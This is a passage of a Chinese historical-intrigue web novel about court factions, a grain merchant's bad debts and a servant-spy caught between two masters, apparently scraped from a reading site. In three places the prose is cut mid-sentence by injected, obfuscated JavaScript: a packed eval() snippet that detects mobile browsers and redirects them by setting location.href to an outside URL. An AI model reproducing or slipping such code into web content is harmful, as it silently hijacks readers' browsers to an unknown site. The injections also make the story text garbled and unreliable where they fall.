“他？不过是靠巴结容州刺史搭上的太子。八珍窖本是刺史许昭牵头所设，那时吴任不过是个总管，后来有太子推波助澜，才坐上了老板的位置。” 宋谨语声微顿，眼底闪过一丝诧异：“太子竟能忽视吴老板的微末出身，对他另眼提拔？” 宋德满言讥讽：“你以为太子是真心看重他？太子当年既无文名也无武绩，空降容州任职，令那出身平平的容州刺史红了眼。他引寒门出身者结党，处处掣肘太子。提拔吴任，实为太子的无奈之策。” 宋谨追问：“他当年在容州经营八珍窖，也就是陈珍窖的时候，到底给太子赚了多少？” 宋德回忆道：“当初吴任用一碗玉琼羹，炒到三百钱一两，堪称万邦之最。若非八珍窖是官窖，他早就跻身容州富豪之列。陈珍窖的营收，至少八珍窖的十倍有余。我记得府里存有八珍窖的账目，你自己去对照便知。” 宋谨脸上难得露出震惊之色：“他经营的陈珍窖竟有如此暴利，容州刺史居然一人贪墨了十之七八？” “贪墨之罪，铁证如山。他所贪之财，太子收了一半，余者至今杳无音讯。”宋德评价道，“容州人经商是把好手，可万邦对富室巨商重税盘剥，这也是当地人执着于经商后做官的原因。一旦手握权柄，便能以国之名营企，天然成了食税者，借官营专卖之权操纵税利，用职权之便避税匿税。两头钻空子，敛财手段无所不用其极。” 宋谨眼中闪过一丝困惑：“吴任为陈珍窖敛此巨利，为何没能谋得一官半职？” “太子不许。”宋德说道，“刺史贪墨一案震动朝野，他唯恐给了吴任一官半职，让祸事重演。” “那太子殿下为何还允他来交州经商？” 宋德徐徐言道：“交州非容州可比，官商势同水火，商贾纵拥千金，终是官高一级。太子当初瞧中吴任那点经商的能耐，因他从没踏出容州半步，托我暗中帮衬。他倒是兴冲冲地来了，不出一年就成了交州最大的粮商，在这上头确实有点本事……” 话音未落，他忍不住低咳几声。尹叔见状，立刻端来热水。宋德一杯饮尽，沙哑着嗓音续道：“向他这等出身微寒之人，贪得无厌是刻在骨子里的，手握万贯也难填欲壑。他敢铤而走险沾手军需，赚那点蝇头小利。在交州地界，简直是自寻死路。” “父亲，颐丰粮行毕竟全由吴家把持，万一真倒了，摊子这么大，该如何接手？” 宋德安抚他：“谨儿，此商行虽属私产，其能做大倚仗的是官家背景、朝堂人脉。这些投入，哪一笔不需抽成？吴任看着是掌柜，亦不过是个掌事之人，另择一人或另一家替换，亦可接掌。” 宋谨犹豫开口：“父亲，有句话不知当问不当问？” 宋德颔首：“……讲。” 宋谨迟疑着开口：“扳倒容州刺史，父亲为太子殚精竭虑。太子一语之托，父亲又为吴老板铺平前路。您如此费心费力，迄今未得寸功之报，究竟所图为何？” 宋德沉默片刻，解释道：“谨儿，赤武帝之前，朝堂向来选举能者上位，从无血脉姻亲承袭王位的先例，是顾家开了先河。从赤武帝到当今圣上，再到太子。太子虽未在文武二试中显山露水，但顾家三代英才济济，这已是天下人的共识，谁又会质疑他的能耐？宋家两代人都失了攀附顾家的机缘，这一辈，全指望你和曦儿了。” “这便是您执意撮合阿姊与太子的缘由？” 宋德喟然长叹：“这都是为了宋家的未来……” 窗内父子对谈之声滔滔不绝，窗外墙角处，苍仁曲正蹲在阴影里，敛声屏气地偷听。 夜风寒意刺骨，待听到宋德叮嘱宋谨务必提防萧家父子时，她的颜面手足冻得僵硬发麻。 朔风骤起，撼得木窗吱呀作响，飕飕灌入屋内。 “当真有些冷了，去把窗关上。”宋德的吩咐从屋里传来。 “是。” 苍仁曲听见屋内有脚步声朝窗下靠近，随即一只手从窗内伸出来，“吱呀”一声将窗扇合拢，里头的谈话声霎时模糊不清。 她再听不见只言片语，正欲移步另觅偷听之处，刚要挪步拐出墙角，这时门突然开了，惊得她立马缩了回去——宋谨出来了。 谈话这就结束了？ 苍仁曲不敢多留，手脚麻利翻出院墙，借着夜色掩护，匆匆往宋谨的院子赶。 …… 夜深人静，南池水涸。 她步入那条曲水长廊，发现长廊竖着一道人影，潜在在廊影下，一片漆黑。 “？” 是谁？ 那道人影听闻有动静，转过头来，语声含着期盼幽幽飘来：“阿兰，是你吗？” 说话间，她迈着几分焦灼的脚步，走出廊下的暗影。苍仁曲看清来人模样，顿时面露惊色。 “小诗？你怎么在这里？” “阿曲！”小诗的惊惶更甚，眼神飘忽，语气支支吾吾，“我……” 苍仁曲无奈一笑：“在等石举兰？” 一语道破，小诗面露窘迫：“你……你也晓得我们的事了？” 苍仁曲欲言又止。小诗对石举兰的心意，本是她无意中撞见的，至于如何撞见，她实在不知该如何启齿。 瞧着小诗眉间化不开的郁色，她柔声关切道：“脸色这般难看，你们可是起了争执？ 小诗眼尾泛红，委屈地哭诉道：“我和阿兰的事，被侍从告到了小姐面前，还说我是故意勾引他。小姐未明言，待我的态度却冷淡几分，周遭人看我的目光…也变了味。” “那石举兰呢？”苍仁曲问。 小诗低下头，声音发闷：“阿兰说，小姐院里耳目众多，他不得不和我避嫌。这几日我们连话都没说上几句，我来这儿，就是独自静一静。” 苍仁曲拍着她的后背柔声安抚，摸到她手凉刺骨，顿时气不打一处来：“石举兰这人，太不靠谱了！他分明是个会审时度势的，怎能撂下你独自陷于窘境？这个时候明哲自保，与落井下石有何两样？” 小诗用袖口拭去眼角泪痕，轻声开解：“阿曲，你言重了。阿兰不是这样的人，他定有他的苦衷。他往日总说我，惯于在细枝末节上纠缠不清，凡事看开就好。” “……”苍仁曲被她这话抽走了一口魂，无力地靠在她肩头，小声吐槽，“难怪他愿意和你在一起……” 小诗将头轻轻靠向她这边，声音满满执着：“阿曲，小姐身边的保镖换了一茬又一茬，她对阿兰不过是一时新鲜，哪能当真。只要他心里有我，等多久我都愿意。” “小诗……”苍仁曲倒吸一口凉气，险些又被她这番话抽走了魂，“小姐摆明了在暗中插手你们的事，你既已察觉她那几分难言的恶意，就该懂。她不冷落石举兰，只针对你，其意早已昭然。不过是没当面逼他，在差事和你之间二选一罢了。” 小诗执着道：“那阿兰肯定会选我……” “真心岂可言传？当以行迹论真心。”苍仁曲直言，“他再怎么花言巧语，冷落你， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103054|195760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是既定之实。” 小诗反驳道：“他是有苦衷的。” “怎么又绕回来了……”苍仁曲扶额，头疼不已。 恰在此时，有脚步声自暗处传来。侍从小安手提青灯，恭敬地为身侧贵人照路。 “谨公子。”苍仁曲与小诗抬眼看清来人，立即同声行礼。 宋谨抬眸看向二人，问道：“夜色寒凉，在此地吹风闲聊，不冷？” 苍仁曲连忙回话：“公子，我们没说多久，正打算走呢，您就来了。” 小诗心领神会，与她作别：“阿曲，那我先回去了，改日再聊。” 苍仁曲叮嘱一句：“夜路小心。” 她目送着小诗的身影渐渐走远，而宋谨凝目注视她，片刻后，缓缓开口“你瞧着比她在外待得更久，方才去做什么了？” 苍仁曲一脸茫然：“公子何出此言？天寒地冻的，我也才出来没多久。” 话音刚落，宋谨忽然抬手，温热的手背贴上她的脸颊。 她吓得一颤，后退半步，脸颊烫得隐隐刺疼。 “脸冻伤了，红得厉害。”他的声音像一阵毫无温度的寒风，说罢便若无其事收回手。 心虚作祟，苍仁曲面颊发烫，冻红之处烧得火辣。她缩了缩脖子道：“公子，天这么冷，快些回去吧，您可别也冻伤了。” 小安也搓着胳膊附和：“阿曲说得是，公子，咱们赶紧走吧。” 宋谨呵出一口白气，终于抬步。三人一同穿过曲水长廊，朝着他的别院走去。 “阿曲。”行至半途，宋谨忽然唤她。 苍仁曲：“嗯？” 宋谨：“你可知萧择天此人？” 苍仁曲：“曾听曦小姐提过，他是都督府的一位大官。” 宋谨：“你见过他吗？” 苍仁曲眼神微闪，语气弱弱：“呃……太子的宴席上，见过一次。” 宋谨脸色一沉，眼神带着说不清的意味，正要细问端详，旁边的小安赶紧打圆场：“公子，快进屋吧，外头寒气重，待久了仔细伤了身子。” 他略一思忖，应声回了屋。 小安随即压低声音对苍仁曲道：“稍后我会向公子解释，你先回屋暖暖身子吧。” “多谢你了。”苍仁曲明白他的心思，满心感激。 岂料小安方一入屋，宋谨的背影立在屋中央，冷沉的质问劈头砸来：“讲，她和萧择天在府里到底发生过什么？” 小安解释道：“咳……那时公子贵体欠安未曾到场。听闻那萧大人看中了阿曲，宴席将开之际，竟当众将她强行带走。据说阿曲姑娘不从，甩了他一巴掌，被他折伤了腿。这些……都是我听阿奇说的。” 宋谨听罢，当即发出一声冷笑，仿佛听到了一件荒谬之事。 “公子……？”小安心头忐忑，猜不透他笑意里的深意。 宋谨朝他摆了摆手：“我累了，你出去吧。” “是。”小安小心翼翼合上屋门，几乎没有发出声响。 宋谨静立案前，垂眸盯着案上跳跃的烛火，思绪飘回了送苍仁曲回宋曦别院的那个夜晚。她当时怨怼他强加的莫须有罪名，句句说得理直气壮。 他早该多问一嘴，她的腿到底怎么折的。 二人勾结的证据，分明就这么明晃晃摆在眼前，他竟到此刻才窥见真相。 可笑至极。 烛火微光，似星火燎原，在他心底燃起一股无名怒火。 萧择天…… 36. 狭路相逢 “萧大人！你怎来了？” 颐丰粮行内，吴任正同伙计交代事情，抬眼便撞见这位不速之客。他虽未着官服，举手投足间仍带着官场气度，甫一进门，竟有几分微服私访的意味，惹得吴任心头顿时生出几分敬畏。 萧择天环视四周亮堂的灯火，悠悠说道：“吴老板，这时候东市早该闭市了，怎么颐丰粮行还亮着门脸？” 吴任屏退那名伙计，殷勤凑上来干干笑道：“实在是最近生意爆好，没来得及添人手，只能让伙计们多熬几个时辰了。” 萧择天迈着步子，悠闲的像在巡视自家领地：“听闻颐丰粮行对外放出风声，准备让利降粮价，这才揽了这么多订单。” 外头运来今日最后一辆粮车，几名伙计扛着粮袋往里搬，另有几人拨着算盘对账。一张张脸疲态尽显，显然已经忙活了一天，连歇口气的功夫都没有。 这粮行在东市占了半亩地，前院堆满粮囤，只作仓储之用。吴任邀他去后院说话，走了几步便忍不住赔笑问道：“萧大人，斗胆请问，您今日来访，所为何事？” 萧择天一笑：“吴老板不必紧张。我此番前来，只是想同你闲谈几句。你不必拘束，只当我是寻常客人便好。” 吴任眸光微动，不卑不亢道：“萧大人这话，吴某却要分个清楚。您若是为官而来，我自然知无不言；您若是为客而来，有些事，实在不方便多说。” 萧择天：“放心，不会让你为难。” 吴任：“您说。” 萧择天直言道：“吴老板与太子殿下交集匪浅，想必也知晓，如今国库告急，太子正筹划着上调粮价。你偏反其道而行降价，此举意在何为？想来不止我一人对此好奇。” 吴任脸上露出几分愧怍，喟然道：“唉，听闻交州沿岸百姓食不果腹，我实在是于心不忍。这粮价若是再涨，不知多少人要饿死街头。我尽些绵薄之力，权当是积德行善了。” 萧择天脚步一顿：“倒是意外，沿岸情形不是一日两日如此。吴老板难得善心大发，莫非是得了哪位贵人相助，能保你吴家从军需案的泥沼里脱身，这才逼着你演这么一出戏？” 吴任理直气壮反驳道：“萧大人！军需案秀止府虽还在查，但吴家早摘干净了，纯属无妄之灾！我侄子差点栽在这事里，您别再妄加猜测了！” 萧择天双手抱臂，反笑道：“我也听说了，中秋当夜，绮罗舫有艘船炸了。令侄当时就在船上，侥幸捡回一条命，可随行的两个家丁当场毙命。仵作验明，其中一人被一根银针断了生机。这杀人不见血的路数，都督府的军卫领教过，是广厦楼。” 吴怀智这会儿掀帘而出，萧择天后半段话一字不落撞进他耳中：“今日捕快抄了船夫的家，从里头搜出了火药。人已拿下，罪名是私藏火药、通敌广厦楼。这会儿怕是还在刑房受审，逼着他供出是谁给的火药。这事情，估摸着和军需案脱不了干系。” 他心头咯噔一跳，下意识地愣在原地，恰好被萧择天转过来的视线逮个正着，吓得他脸色顿时惨白如纸。 吴任庆幸道：“如此说来，此事八九不离十，定是广厦楼勾结倭寇，特意借颐丰粮行的商道偷运军需。多亏萧大人巡案途中及时查获，否则后果真是不堪设想！” “吴老板料事如神，秀止府就是想这么结案的。只是......如果军需真的不是从里泄露的，那问题可就大了。”萧择天目光依旧锁向吴怀智的方向，因为苍仁曲静立其后。 二人视线隔空相撞，无声交锋，谁都不逞多让。 “这不是宋家的侍从吗？怎会在此处？”萧择天先开了口，目光扫回吴怀智身上。 吴怀智浑身一激灵，赶忙交代道：“这里是账房，谨公子正在里面......” “怀智！”吴任当即喝断他，“这位是都督府的萧大人，你这副畏畏缩缩的样子像什么话？赶紧去堂里上茶，别怠慢了贵人！” “萧大人？是、是！”吴怀智不敢耽搁，一溜烟地跑开了。 萧择天双眼微眯，目光中掠过一丝探究：“宋家竟与颐丰粮行有往来？看来交情不浅，连账房这等重地都能随意出入。” 吴任解释道：“颐丰粮行能有今日，全仗府尹大人当初以家产相助。虽非宋家产业，但谨公子偶尔来关照生意。他在宋府掌管账目，今日前来，倒是帮衬了不少。” 萧择天：“我一介武夫，于账目之事素来生疏，尤其不懂坏账这些门道，听闻交州有处官窖倒闭，至今尚欠颐丰粮行巨款未还。谨公子既然在此，我想亲自去请教一番。” “这……”吴任神色迟疑，连忙拦道，“萧大人，账目之事我亦通晓，有何疑问问我便是。” 可萧择天仿若未闻，迈步就往账房那边走。 苍仁曲见他上前，身子一横挡在他面前，道：“萧大人，公子不喜人扰，您若有事，可等公子出来再说。” “架子这么大？”萧择天没当回事，一边说着，抬手越过她肩头，就要去推那扇门。 她眼疾手快，当即扣住手腕，硬生生将他拦在半空。 双方气氛瞬间剑拔弩张，连带周遭的空气都凝固几分。 萧择天稍稍凑近，高大的身影挡住苍仁曲面前所有的光，问：“你家公子在里面做什么？” 苍仁曲面上强作镇静，应道：“公子若想让我知道，就不会让我在门口守着了。” 萧择天猛地甩开她的手，语气淬着几分寒意：“上次折了腿还不够教训？这次是连手也不想要了？” 苍仁曲喉头滚动，在他迫人的威压下不自觉后退半步。 吴任看得心惊，连忙上前打圆场：“萧大人，何必同一个侍从置气？不如移步堂中，喝杯热茶消消火气。” “我一般不迁怒于侍从，只是……”萧择天眼神锐利如刀，直刺苍仁曲，“你冲撞我已非首次。上次宋家小姐未曾为你出头，当真以为换了个主子，就能继续仗势逞凶？” 说着，他突然伸手，拨弄着她垂落在锁骨的乱发。果不其然，她怒然拍掉他的手：“大人，您这样堂而皇之胡作非为，有失体面。” 萧择天俯身逼近，唇瓣险些擦过她耳畔，挑衅道：“正因如此，谅你也不敢反抗。” 后腰猛然传来一阵推力，苍仁曲差点撞入他怀中，她气得反手拍开那只摸上腰身的手。可萧择天不依不饶，一把扣住她的手腕。 苍仁曲强撑着往后挣，身后的门“哐当”一声开了，宋谨从里面走出来。她收势不及，猝不及防撞进身后人怀里，硬生生夹在二人中间，进退维谷。 她爱莫能助，转头望向宋谨，弱弱喊了一声：“公子……” 宋谨与萧择天的目光同时落在她身上，转瞬，又齐齐抬眸望向对方，四目相对，暗流汹涌。 宋谨脸色冷漠，劈掌打掉萧择天的手。 “嘶！”萧择天皱眉。 宋谨言辞如锋，凛声道：“萧司马新官上任不过一年，政绩半点未见，欺压百姓的手段倒是练得炉火纯青。” 萧择天翻了个白眼：“谨公子何必一口一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103055|195760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个司马，给我扣这顶官帽？我既已下衙，此刻便是寻常百姓。” “按万邦律法，未经许可擅自动手动脚，当以流氓罪报官论处。”宋谨神色冷峻，一字一句掷地有声，“想来萧司马平日恃权横行惯了，将律法视若敝屣。还是披着这身官皮的好，否则这般肆意妄为，只怕稍有不慎，很可能要锒铛入狱。” 苍仁曲惊呆了，万万没想到平日话头不多的谨公子，竟有如此毒舌的一面！ 萧择天脾性易怒，此刻面目狰狞，显然被这一番话气的不轻，好在吴任及时架住他，好言好语劝慰道：“萧大人，息怒息怒，可别气坏了身子。您看，这会儿也不方便请教谨公子了，不如先随我入堂稍坐，从长计议？” 宋谨嘴角勾出一抹轻蔑的笑：“方便！当然方便！乐意至极，有道是大人有大量，就看萧司马肯不肯包涵我了？” “我包涵你……！” 萧择天粗话未出，被吴任急忙捂嘴打断：“哎哎哎！使不得！” “公子！我们走！”苍仁曲见势不妙，当即推着宋谨大步离去，免得战火再燃。 这边吴怀智也匆匆冒了出来，拽着萧择天就走。他先前见他们迟迟不入堂，备好的茶水要凉了，便过来瞧瞧，谁知正撞见剑拔弩张的场面。直到吴任递来一个眼色，他才赶紧灰溜溜前来救场。 “萧大人，移步这边！您方才提及账目上的困惑，吴某略通一二，有什么疑难尽管问我，定知无不言……” 待身后吴家叔侄一左一右劝慰的声音渐渐远去，苍仁曲这才松开了宋谨。 “手张开。”宋谨的声音平淡如常，仿佛刚刚从未起过过争执。 苍仁曲朝他摊开双手：“怎么了公子？” “他方才抓你的地方，可有受伤？” 苍仁曲挽起衣袖，将手腕递到他眼前：“公子放心，我无碍。” 宋谨仔细打量一番，确认无异，微微颔首。 苍仁曲松了口气，悄悄将萧择天藏在她后腰腰封的纸条捏入手心。 “公子，多亏你替我解围。”她伸手替他理平衣上的褶皱，眉眼间透露着讨好意味。 “举手之劳，不必挂怀。”宋谨应道。 苍仁曲惭愧着开口：“公子单单为了我，平白得罪萧大人。他是都督府司马，我不过一介侍从，实在不值当。” “价值几何，在于受者之心。” “嗯？”苍仁曲微微抬头，这话分明是她曾说过的，一时竟有些发懵。 宋谨看着她，说道：“先前我为你追回几个钱，你道比阿姊赏的锦衣玉食还要金贵。如今我为你解围，只因身份有别，你反倒觉得不值当，这是何道理？” 苍仁曲急声辩解：“这怎能跟简单追回几个钱相提并论？我担心公子与萧大人结下梁子，往后麻烦缠身。” “我只在乎你的感受。”宋谨脱口而出。 “啊？”苍仁曲心头一跳。 宋谨才知失言，耳尖悄然泛红，面上依旧镇定自若，稳然不动说道：“咳…我的意思是，方才你遭他为难，我站在你身后之时，你第一感觉是什么？” 苍仁曲耳尖发烫，哪里能如他一般泰然自若，视线恍然错乱，喃喃憋出了几个字：“开心的……” 宋谨追问：“如此，难道不值得？” 苍仁曲胡乱点点头：“……公子言之有理。” 宋谨这才移开目光，迈步在前。 二人隔着不远不近的距离，刻意避开对方的视线，并肩走出了颐丰粮行。 37. 坏账 夜凉如水，苍仁曲照旧立在曲水长廊等人，指尖捏着张字条，翻来覆去看了好几遍： “戌时三刻，府外见，若迟来，后果自负。” 寻常武夫不擅笔墨，而萧择天笔锋飞扬，顿挫有致，显然有多年练家子的痕迹。 身侧传来轻微脚步声，她不动声色收起纸条，就听不远处的小诗唤了一声：“阿曲。” “小诗，你来了。”苍仁曲温然一笑，“看你气色不错，有什么开心事？” 这些天小诗因感情之事郁结于心，加上宋曦院里的人对她另眼相待，眼下只能与苍仁曲谈心。 这条曲水长廊本是宋曦、宋谨两院往来的必经之路，因姐弟二人关系微妙，两院侍从心照不宣，等闲绝不肯踏足此地，反倒成了她与苍仁曲敞怀谈心的清净去处。 “确实是高兴事。”小诗拉着苍仁曲说道，“今日收到家书，家里人打算迁居来秀止，往后一家子天天过团圆日子了。” 苍仁曲见她总算露出一抹笑颜，安慰道：“那再好不过，骨肉相聚，免了异地相思之苦。” 小诗脸上笑意淡了几分：“母亲在信里说，鱼镇早已涌入诸多流民，偏生对岸官府突然下令限购粮食，大家伙儿没了活路，闹事的人越来越多，治安乱得很。” “那该早点动身才是。” “我劝过很多次，可家里几代人都扎根在鱼镇，老一辈的总舍不得那片故土。”小诗幽幽一叹，“现下为了活命，实在没法子了。只是……父亲还在粮行做工，最近粮行生意火爆得很，工钱翻了倍。母亲等他干完这阵，再一起迁过来。” “说得是。”苍仁曲应声，“他们肯迁居就好，平平安安比什么都强，也省得你在这边牵肠挂肚。” 小诗释然道：“你说得对。我宁可在这边操心他们适应新地方，也不愿他们留在那个民不聊生的地方，一家子担惊受怕。” 苍仁曲的目光忽然越过小诗肩头，她背后有人来了。 此人正是让小诗感情致郁的罪魁祸首，他在小诗身后几步远站定。小诗察觉到苍仁曲的目光不对劲，回头一看，面露惊色。 “阿兰？你怎来了？” “我……”石举兰吞吞吐吐，眼神偷偷瞟向苍仁曲。 “躲着小诗好些日子，终于肯出来露面了？”苍仁曲没好气插话，末了以极低的声音唾了句“缩头乌龟”，偏偏被小诗敏锐地捕进耳中，暗暗抬手戳了戳她的胳膊。 石举兰低声下气道：“是我不对，让小诗受委屈了。阿曲，多谢你这些日子陪着小诗解闷。” “这是我该做的，怎么说得像我在帮你似的？”苍仁曲翻了个白眼，“小诗又不是你的人。” 小诗急得面红耳赤，急忙拉住苍仁曲的衣袖：“好啦阿曲，莫要再说了……他既已来此，我与他有话要说。” 石举兰解释道：“我本就是专程来找小诗的。回来时给西边更楼的大哥带了壶酒，他非要留我喝几杯，拉扯半天才脱身，估摸着他这会儿还在独自醉着呢。” 苍仁曲暗哼一声，实在看不惯他这副虚情假意的模样，与他擦肩而过：“那我就不打扰二位，先走一步。” 小诗见她离开的方向和宋谨别院截然相反，正想问她去哪，手腕被石举兰一把抓住。 二人面面相觑。 …… 西边更楼。 苍仁曲拾级而上，入目便见一名更夫醉趴在桌上，喃喃吐着醉话。她悄步上前，攥住对方后脑的头发，往桌面狠狠一砸，那人应声倒在桌上，再没了动静。 她推开窗户，脚一蹬，翻身跳出了宋府。 刚一落地，一颗石子骨碌碌滚到脚边。她循着石子来向，望见院墙阴影里，斜斜倚着一道高大人影。 苍仁曲慢慢走近，萧择天的声音悠悠传来：“宋府就这么大点儿地方，石举兰寻你数日不得，非得我亲自传话，你什么意思？” “他倒恶人先告状起来了？”苍仁曲嗤道，“萧大人，你也知道，宋府就这么大点儿地方，我能躲到哪里去？说不定是他有不想见的人在我旁边，心有顾忌，刻意迁延至今才愿现身。” 萧择天像是听懂她的言外之意，直接道：“我回头说他……还有你！你们个人恩怨，别掺和到公事里来。” 苍仁曲反笑出声，将落在锁骨的发丝别到耳后：“那萧大人在颐丰粮行对我动手动脚的举止，算个人恩怨？还是公事公办？” “……”这话怼得萧择天哑口无言，他紧咬着下唇，干瞪着眼看她。 苍仁曲冲他左手递了个眼神：“手伸出来。” 萧择天依言伸出左手：“干嘛？” 她狠狠拧了一把那只咸猪手的肉皮：“让你占我便宜！” 萧择天疼得张牙，竭力压抑住自己的声音：“给我住手！疼死了！” 苍仁曲心里一阵痛快，甩手将他的手丢开。 萧择天甩了甩那只疼到发麻的左手，吐槽道：“你这哪有半点对主子的样子？有胆你对宋谨这么试试？” 苍仁曲：“你要是不介意我暴露身份，对他这么来一下也无妨。” “切，虽说行事注意分寸，可也没让你装这么彻底，合着宋谨就吃你这一套？冲他软言软语撒个娇，他就什么都不管，当你的护花使者？”言罢，他故意捏着嗓子，阴阳怪气模仿了一句她那时唤宋谨的腔调，“公子……” “真恶心。”二人异口同声。 苍仁曲：“……” “瞧，自己也承认了。” 她火气翻腾，瞅着他那副欠揍的模样，动手吧，简直太便宜了他！ 她干脆转身离开，又被萧择天一把拽了回来。 她忍无可忍甩开了他，怒道：“正事不说，你过来单纯讨打吗！” “我正要说呢！”萧择天急辩道。 苍仁曲依旧背对着他，双臂抱在胸前生着闷气。 萧择天凝望她的背影，不爽在心。明明他才是主事的那个，怎么现在这架势，倒像是他在低声下气地禀报？ 可她余怒未消，他不敢再度招惹，只能深吸一口气，说道：“八珍窖与陈珍窖之间的渊源，萧良山将这一情况禀给了户部尚书，户部查账查仔细了些，却没瞧出什么端倪。” 苍仁曲无奈道：“这是谨公子交代给我的差事，真要被户部查出什么纰漏，第一个倒霉的肯定是我。” 萧择天听她语气平稳了，随意靠在墙上：“在八珍窖的营收分成里，有牵扯到交州财政的部分，这一块深究下去太麻烦，毕竟账面干净，户部懒得节外生枝，就此交差了。” 苍仁曲转过半边身子，依旧没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103056|195760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有看他：“当年陈珍窖的利润被容州刺史贪了大半，元气大伤，迁到交州，还是由吴任打理，营收大多充了交州财政，最后还是落得个经营不善倒闭的下场。” 萧择天：“若说容州有一只狮子开口，那交州恐怕有一群狮子等着分食。” 苍仁曲转过身来，盯着他问：“萧良山为何偏偏盯上了宋家私产？” “这话你应该在他嘱托差事之时，亲口问个明白。”萧择天琢磨了一下，摇了摇头，“唉，就算你问，他八成会说看在和你父亲的交情上。若是我问，他肯定扯什么一切都是为了王上。” 苍仁曲轻嘲一声：“我父亲是臭名昭著的贪墨大官，萧良山念着与先父的些许交集，又口口声声为君王效命。这般说辞，岂非自相矛盾？” 萧择天目光坚毅看着她：“苍仁曲，我父亲为王上操劳大半辈子，慧眼如炬，能与他相交莫逆者，多为君王倚重的股肱之臣。若贪墨一案真的实锤你父亲是个中饱私囊的小人，他巴不得你一辈子烂在牢里。大义和小情，萧良山拎得清。” 这还是苍仁曲生平头一次，听见有人笃定相信她父亲清白的话。 她浑身像灼热了一般，错开他炯炯的目光，岔开话头：“吴任此人，是洞悉宋家私产秘辛的关键人物。谨公子今日来颐丰粮行，恐怕绝非单纯帮衬理账那么简单。” 萧择天提道：“吴任跟我透了八珍窖的交易明细。” 苍仁曲：“怎么说？” 萧择天：“颐丰粮行半数以上坏账，皆来自八珍窖。我问他，既知钱款追讨无望，为何还向八珍窖源源不断供货。他说，八珍窖乃官营之窖，上峰亲点颐丰粮行采办，他身不由己，所有亏空，只好由吴氏一族自行填补。” 苍仁曲提出质疑：“数百万两的窟窿，吴家说填就填，颐丰粮行还能运转如常？这……未免太过匪夷所思。” 萧择天冷笑一声：“诡吊之处在于此。料想他也不会吐露实情，与其坐而论道，不如我亲自探查。” “亲自查？”苍仁曲狐疑望向他，“怎么查？” “两日后，潜入颐丰粮行一探究竟。”紧接着他补充一句，“你随我一起。” 苍仁曲：“这就是你今晚叫我出来的目的？” “没错。”萧择天应得干脆利落。 苍仁曲满脸写着不情愿：“是不是头一回干这种偷鸡摸狗的事，拉不下脸，非得找个人陪你壮胆？” “这是命令！”萧择天绷着脸，强撑出几分严肃。 苍仁曲轻叹一声，终究妥协道：“知道了。” 夜色渐深，辰光不早，二人简单道别后各自离去。 苍仁曲快步返回宋府，途径曲水长廊，已不见小诗和石举兰的身影。 她回到自己屋子，察觉到里头不对劲。 屋内的陈设看似与往日无异，却处处透着被人细心整理过的痕迹。她仔细检查一通，贵重物件没少，也没翻出什么异样，纳闷之际，一屁股坐到床铺上，掌心忽然沾到一片微凉的余湿。 “……” 苍仁曲当场黑脸，膈应得头皮发麻。她二话不说，气冲冲揪起被褥床单，狠狠掼到地面。 无奈之下，她只能打开衣柜，翻出几件厚实的衣物裹在身上，活像个粽子，挨着冷硬木板硬挺挺躺了一整夜。 38. 入门 苍仁曲彻夜难眠，陪宋谨晨练时面色憔悴，身手却依旧利落。 宋谨瞧她稍一松劲，眼皮就快黏到一处，练至一半收了手，问：“昨晚没睡好？” “被子没盖好，冻着了。”苍仁曲敷衍了一句。 宋谨从苍仁曲身侧踱过，自行收剑入鞘，动作行云流水：“那便准你一日假，回去歇足了再来。” 苍仁曲微怔，欣然对他道了声谢。 这并非宋谨给予她的特权，而是作为他侍从心照不宣的默契。他素来心思缜密，洞察入微，所有照拂藏在细枝末节里，不愿宣之于口。若是执意婉拒，反倒冷了他的一片心意。 宋谨回到院子，吩咐其他侍从随行，今日要去研枢院走一趟。 苍仁曲得了闲，脚步轻快地溜出宋府，直奔西市的阁楼寻洛予词。 ...... 她二次踏入阁楼，走近洛予词的那棵青松底下，身旁有人迎上来，问道：“这位姑娘，所来何事？” 苍仁曲：“敢问洛先生可在？日前我来此通过入门考核，她言明会带我处理后续事宜。” 他了然颔首，为她引路道：“姑娘请随我上楼。” 两人拾级而上，行至半楼，苍仁曲瞥见一个身影从楼上缓步走下，瞧着有几分眼熟。领路人恭敬唤了声：“萧先生。” 那名女子有些惶恐应了一声，待目光扫过他身后的苍仁曲，忽然眼前一亮：“姑娘！是你！” 苍仁曲盯她看了半晌，语气带着几分迟疑：“你是……萧晚乔？” 萧晚乔激动走向她：“当真有缘！竟能在此处见到姑娘，没想到你也来了这儿！” 一旁的领路人适时插道：“萧先生，这位姑娘的入门手续尚余最后一项，我正引她去办妥。” “原来如此。”萧晚乔遂与苍仁曲并肩登楼，“上次匆匆作别，还没问过姑娘姓名。” 苍仁曲如实道了“姜安曲”的名字，她又好奇道：“姜姑娘，你是被哪位先生举荐来的？” 